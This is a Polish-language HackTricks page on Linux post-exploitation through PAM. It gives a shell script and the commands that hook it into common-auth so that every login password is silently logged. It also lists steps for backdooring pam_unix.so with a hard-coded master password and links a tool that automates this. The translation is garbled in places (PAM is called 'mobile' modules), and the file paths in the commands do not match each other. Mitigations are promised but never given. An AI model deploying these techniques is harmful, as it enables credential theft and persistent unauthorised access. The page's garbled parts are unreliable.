Linux Post-Exploitation

Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Przechwytywanie haseł logowania za pomocą PAM

Skonfigurujmy moduł PAM, aby rejestrował każde hasło, które użytkownik używa do logowania. Jeśli nie wiesz, co to jest PAM, sprawdź:

PAM - Pluggable Authentication Modules

Aby uzyskać więcej szczegółów, sprawdź oryginalny post. To tylko streszczenie:

Przegląd techniki: Mobilne moduły uwierzytelniania (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unixie. Mogą zwiększyć bezpieczeństwo poprzez dostosowywanie procesów logowania, ale także stanowią ryzyko w przypadku niewłaściwego użycia. To streszczenie przedstawia technikę przechwytywania danych logowania za pomocą PAM, wraz z strategiami łagodzenia zagrożeń.

Przechwytywanie danych logowania:

  • Skrypt bash o nazwie toomanysecrets.sh jest tworzony, aby rejestrować próby logowania, przechwytując datę, nazwę użytkownika ($PAM_USER), hasło (przez stdin) i adres IP zdalnego hosta ($PAM_RHOST) do /var/log/toomanysecrets.log.

  • Skrypt jest ustawiany jako wykonywalny i integrowany z konfiguracją PAM (common-auth) za pomocą modułu pam_exec.so z opcjami uruchamiania w trybie cichym i ujawniania tokenu uwierzytelniania skryptowi.

  • Ta metoda pokazuje, jak skompromitowany host Linux może być wykorzystany do dyskretnego rejestrowania danych uwierzytelniających.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Aby uzyskać dalsze szczegóły, sprawdź oryginalny post. To tylko streszczenie:

Moduł Autoryzacji Podstawowej (PAM) to system używany w systemie Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwa użytkownika, hasło i usługa. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/, gdzie biblioteki współdzielone obsługują uwierzytelnianie.

Cel: Zmodyfikuj PAM, aby umożliwić uwierzytelnianie za pomocą określonego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so, używanej przez plik common-auth, który jest dołączany przez prawie wszystkie usługi do weryfikacji hasła.

Kroki do Modyfikacji pam_unix.so:

  1. Zlokalizuj Dyrektywę Autoryzacji w pliku common-auth:

  • Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje pam_unix.so.

  1. Zmodyfikuj Kod Źródłowy:

  • Dodaj instrukcję warunkową w pliku źródłowym pam_unix_auth.c, która udziela dostępu, jeśli użyte jest predefiniowane hasło, w przeciwnym razie kontynuuje zwykły proces uwierzytelniania.

  1. Przebuduj i Zamień zmodyfikowaną bibliotekę pam_unix.so w odpowiednim katalogu.

  2. Testowanie:

  • Dostęp jest udzielany w różnych usługach (logowanie, ssh, sudo, su, zabezpieczenie ekranu) za pomocą predefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone.

Możesz zautomatyzować ten proces za pomocą https://github.com/zephrax/linux-pam-backdoor

Dowiedz się i ćwicz Hacking w AWS:HackTricks Training AWS Red Team Expert (ARTE) Dowiedz się i ćwicz Hacking w GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks

Last updated